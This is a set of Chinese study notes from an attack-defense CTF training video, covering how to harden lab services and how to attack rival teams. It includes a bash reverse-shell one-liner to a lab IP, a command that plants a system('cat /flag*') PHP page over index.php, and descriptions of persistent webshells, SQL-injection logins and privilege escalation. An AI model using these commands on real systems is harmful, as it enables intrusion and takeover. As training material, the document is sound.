视频地址:https://www.bilibili.com/video/BV1Tz4y197fF
101 ecshop
102 学生会登录窗口
103 502 103:5000 gk商城
关键的是要加固
利用账号进入服务后,看服务的ip地址(172.20.117.102),后面进行访问
之后看看有没有flag,flag可能在根目录下
1 | cd / |
接下来要加固,首先想弱口令
1 | cat /etc/passwd |
可以看到有ubuntu、admin账户,而且是/bin/bash的,说明是可以正常登陆的,
补充知识
/etc/passwd
通常在Linux系统中,用户的关键信息被存放在系统的/etc/passwd文件中,系统的每一个合法用户账号对应于该文件中的一行记录。这行记录定义了每个用户账号的属性。下面是一个passwd文件的示例(部分摘录):
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin这个文件的内容非常规律,每行代表一个用户。这些用户中的绝大多数是系统或服务正常运行所必需的用户,我们把这种用户称为系统用户或伪用户。系统用户是不能登录系统的,但是这些用户同样也不能被删除,因为一旦删除,依赖这些用户运行的服务或程序就不能正常执行,会导致系统问题。
可以注意到,这个文件用”:”作为分隔符,划分为 7 个字段,我们逐个来看具体的含义。(1)用户名称
第一个字段中保存的是用户名称。用户名称只是为了方便管理员记忆,而Linux 系统是通过用户 ID (UID) 来区分不同用户、分配用户权限的。用户名称和 UID 的对应正是通过 /etc/passwd 这个文件来定义的。(2)密码标志
这里的”x”代表的是密码标志,而不是真正的密码,真正的密码是保存在 /etc/shadow 文件中的。在早期的 UNIX 中,这里保存的就是真正的加密密码串,但是这个文件的权限是 644,查询命令如下:
[root@localhost ~]# ll /etc/passwd
-rw-r–r— 1 root root 1648 12月29 00:17 /etc/passwd所有用户都可以读取 /etc/passwd 文件,这样非常容易导致密码的泄露。所以现在的 Linux 系统把真正的加密密码串放置在影子文件/etc/shadow中,而影子文件的权限是 000,查询命令如下:
[root@localhost ~]# ll /etc/shadow
————— 1 root root 1028 12月29 00:18 /etc/shadow
这个文件是没有任何权限的,但因为我是 root 用户,所以读取权限不受限制。当然,用强制修改的方法也是可以手工修改这个文件的内容的。只有 root 用户可以浏览和操作这个文件,这样就最大限度地保证了密码的安全。所以在 /etc/passwd 中只有一个”x”代表用户是拥有密码的,我们把这个字段称作密码标志,具体的密码要去 /etc/shadow 文件中查询。但是这个密码标志”x”也是不能被删除的,如果删除了密码标志”x”,那么系统会认为这个用户没有密码,从而导致只输入用户名而不用输入密码就可以登陆(当然只能在使用无密码登录,远程是不可以的),除非特殊情况(如破解用户密码),这当然是不可行的。
(3)UID
第三个字段就是用户 ID(UID),我们已经知道系统是通过 UID 来识别不同的用户和分配用户权限的。这些 UID 是有使用限制和要求的:
0:超级用户 UID。如果用户 UID 为 0,则代表这个账号是管理员账号。在 Linux 中如何把普通用户升级成管理员呢?只需把其他用户的 UID 修改为 0 就可以了
1~499:系统用户(伪用户)UID。这些 UID 是系统保留给系统用户的 UID,也就是说 UID 是 1~499 范围内的用户是不能登录系统的,而是用来运行系统或服务的。其中,1~99 是系统保留的账号,系统自动创建;100~499 是预留给用户创建账号的。
500~65535:普通用户 UID。建立的普通用户 UID 从 500 开始,最大到 65535。(4)GID
第四个字段就是用户的组 ID(GID),也就是这个用户的初始组的标志号。(5)用户说明
第五个字段是这个用户的简单说明,没有什么特殊作用,可以不写。(6)家目录
第六个字段是这个用户的家目录,也就是用户登录后有操作权限的访问目录,我们把这个目录称为用户的家目录。超级用户的家目录是 /root 目录,普通用户在 /home/ 目录下建立和用户名相同的目录作为家目录,如 lamp 用户的家目录就是 /home/lamp/ 目录。
(7)登录之后的Shell
Shell 就是 Linux 的命令解释器。管理员输入的密码都是 ASCII 码,也就是类似 abcd 的英文。但是系统可以识别的编码是类似 0101 的机器语言。Shell 的作用就是把 ASCII 编码的命令翻译成系统可以识别的机器语言,同时把系统的执行结果翻译为用户可以识别的 ASCII 编码。Linux 的标准 Shell 就是 /bin/bash。在 /etc/passwd 文件中,大家可以把这个字段理解为用户登录之后所拥有的权限。如果写入的是 Linux 的标准 Shell,/bin/bash 就代表这个用户拥有权限范围内的所有权限。例如:
[root@localhost ~]# vi /etc/passwd
lamp❌502:502::/home/lamp:/bin/bash我手工添加了 lamp 用户,它的登录 Shell 是 /bin/bash,那么这个用户就可以使用普通用户的所有权限。如果我把 lamp 用户的 Shell 修改为 /sbin/nologin,例如:
[root@localhost ~]# vi /etc/passwd
lamp❌502:502::/home/lamp:/sbin/nologin那么这个用户就不能登录了,因为 /sbin/nologin 就是禁止登录的 Shell。如果我在这里放入的系统命令,如 /usr/bin/passwd,例如:
[root@localhost ~]#vi /etc/passwd
lamp❌502:502::/home/lamp:/usr/bin/passwd那么这个用户可以登录,但登录之后就只能修改自己的密码了。这里不能随便写入和登陆没有关系的命令,如 ls,否则系统不会识别这些命令,也就意味着这个用户不能登录。
当前用户是ubuntu,admin账户可能是弱密码,我们要对admin账户密码进行修改
切换账户:
1 | su admin |
利用ubuntu用户的密码(弱口令)登录
然后修改密码
1 | sudo passwd |
可以参考(https://blog.csdn.net/hyfstyle/article/details/90904992)
示例:如果没有修改弱密码,我们利用msf模块进行攻击,扫描一下弱口令,看看哪个服务存在这个问题
进入kali
1 | #ping ip看通不通 |
如果在msf里面觉得操作不方便,我们也可以直接用ssh连接登录
1 | ssh ubuntu@172.20.117.102 |
这个弱密码问题危害比较大,除非你修改了密码并且重启服务,不然人家随便连接,这个session一直存在的
但是人家可能权限不够,不能直接改你密码,如果权限够的话,可以关掉你的服务,甚至修改密码,那你这场比赛可以去玩单机游戏了
解决完弱口令的问题,我们接下来要找后门,从web服务入手
102是个人写的,可能漏洞找起来比较难,而101是网上有的cms,可以从网上找漏洞,进行攻击或者加固
80端口是web服务,22端口是ssh的
68端口是DHCP服务的
web服务一般放在/var/www/html/目录下,通过grep命令,看有没有一句话木马
1 | grep "eval" -R ./* |
搜索出来很多,不太好看
我们可以用专门的木马查杀软件去找,D盾(自查学习使用)
另外,有些文件(一句话木马)可能以隐藏文件形式存在,文件名以一个.
开头,所以要
1 | ls -a |
列出包含隐藏文件的所有文件
在图形化界面下,键盘按ctrl+H就可以显示所有文件
在101 ecshop目录下有一个aa.php(要关注这种名字奇怪的文件),里面有一句话木马,利用木马获取flag
简单的批量拿flag脚本,get请求
1 | import requests |
可以通过切片的方式只提取有用的值,比如req.text[0,32]
接下来回到102学生会服务器,因为要登录,但是我们手上没有账号密码,我们可以在服务器内找密码
连接mysql服务也要账号密码,但是不知道密码
在config.php中找到了账号和密码,同时也发现了一个shell.php,加固时要把这个文件删掉
1 | mysql -u geez -p |
但是同时这里也可以用万能密码登录,因为没有过滤
登录成功后意味着你也可以拿这个账号密码去尝试登录别人的
可以看到存在上传点
可以看到路径,可能是出题人出完题测试了一下,但是忘记删了这个php文件
构造一句话木马
接下来也是很有意思的,如果你在你服务器目录下找到这个shell,说明有人在进行攻击你,而且可能是针对全部服务器的攻击,我们如果没有找到这个漏洞,我们可以直接利用攻击者上传的这个shell,去攻击别人,获得别人的flag。
这样看来,如果我们是那个攻击者,肯定不想要别人对我的shell进行利用(大概这就是反抄作业?)我们就需要改一下我们的shell,
传入的参数a md5的明文只有自己知道(要确保这个明文比较复杂),所以这个脚本只能自己使用,别人无法使用
而我们在加固时,如果发现有这样的shell,就要删掉
1 | rm -rf 文件 |
但是同样地可以利用不死马,让你的删除无效化
百度一下就可以百度到:https://www.cnblogs.com/unixcs/p/11301377.html
1 |
|
为了方便演示,修改成下面的内容
上传这个php文件,就会在上传目录下生成这个.config.php文件,之后用post传参
获得flag,而且此时就算删掉了这个.config.php文件,也会重新生成
那中了这种不死马怎么防护呢?
我们需要重新写一个文件并且上传到相同目录下,通过条件竞争,无效化不死马的操作
可以看到这里的code改成123,并且usleep缩的很短
将123写入了.config.php文件,从而导致木马失效,但是有可能在某一瞬间是正常木马的状态
由于很多操作都是要增删改除文件,有时权限不够,我们知道版本号后,可以上网查找提权方法,从而提权,获得操作文件(删除或者移动)的权限
1 | cat /proc/version |
比如说脏牛提权
接下来看wp
这里可以用万能密码,说明存在sql注入,也就是可能可以利用sql注入写shell进去
post请求脚本:
1 | import requests |
这只是批量获取了flag,但是如果要批量提交flag,需要识别验证码
可以借鉴:https://blog.csdn.net/wy_97/article/details/78198502
如果要对本地服务器进行加固,可以找到这个文件,然后删除这个函数
本地要删除这个shell文件,攻击别人时可以用D盾扫出来,直接利用
通过一个漏洞植入不死马,如果能对他的服务器进行重启的话,最好让他连接不上
回到服务器,使用who命令
1 | who |
可以知道谁在连接你,包括知道ip地址,但也有who识别不了的连接方式,叫做隐藏连接,自己去查
接下来看另外一个服务,使用ifconfig得知ip,172.20.117.103
url中输入该ip,显示502
因为自己能进入服务器,控制服务器,所以不用端口扫描,当然对付别人的服务就可以扫一扫,没准别的队伍修改了
利用netstat -ntl
命令查看端口,中间的t代表tcp协议,可以看到开放了80、22、5000端口
url输入172.20.117.103:5000
, 有显示内容
所以80端口可能是有东西显示的,但是可能有些问题或者没有首页
浏览一下本地
1 | cd /var/www/html/ |
rc.local:
rc.local 是启动加载文件,在ubuntu下要把一个程序加入开机启动,一般可以通过修改rc.local来完成,但ubuntu下有两个rc.local文件。分别是/etc/rc.local和/etc/init.d/rc.local
/etc/rc.local这个脚本里面基本没有内容,就是写个模板让你放开机自启动程序的,把程序写在exit 0行的前面就行了。
所以要添加开机启动项,只需在/etc/rc.local文件中添加就行了。
而我们没有权限进入/usr 和/root等目录,需要root权限,而同样需要搜索对应版本号自己提权(系统漏洞类型)
GK商城是python写的,了解一些python的漏洞,后面需要反弹一个shell出来进行加固,不然无法修改代码,这个漏洞就一直存在,也就无法加固,会被别人一直打
谷歌:python 反弹shell
本地开启端口监听:
1 | bash -i >& /dev/tcp/172.24.11.132/1234 0>&1 |
但是出现了错误,反弹不了
我们在攻击别人时,这时可以通过这个接口尝试进行修改密码
谷歌搜索:ubuntu非交互修改密码
修改成功再用ssh连接上,控制别人的机器
最后一个服务:172.20.117.101
是一个cms
本地ssh连接上后,在/var/www/html/目录下找到ecshop文件夹,进入后有version.txt,cat一下显示3.6
接下来百度ecshop 3.6漏洞
肯定有一个可以读取flag的地方
搜到有一个命令执行的漏洞
另外存在172.20.117.101/phpmyadmin
可以找到账号密码,登录后进行phpmyadmin的getshell
下面这个例子我觉得有点奇怪,凭我的理解记录一下:
假如某一个队分数比较高了,为了获取名次,降低他的名次,你对ta的服务的首页文件(index.php)这样操作:
1
2
3 echo "<?php system(\"cat /flag*\");?>" > 1.php
mv index.php index.bak
mv 1.php index.php这样别人打开网站进去后,就直接显示flag
我觉得能在别人的服务做到这样添加文件、移动文件的话,那你有什么事不能做呢…自己应该就是那个名次比较高的队伍吧
之后在本地/var/www/html/ecshop/data/config.php中可以找到登录phpmyadmin的账号和密码
另外:
可以看到config.php是www-data用户,不是root,可能有奇怪的地方,可能是一句话木马
如果找到一句话木马,可以ls -l
看看对应的文件我们有什么权限,再尝试删除、修改、替换、移动文件修补这个洞。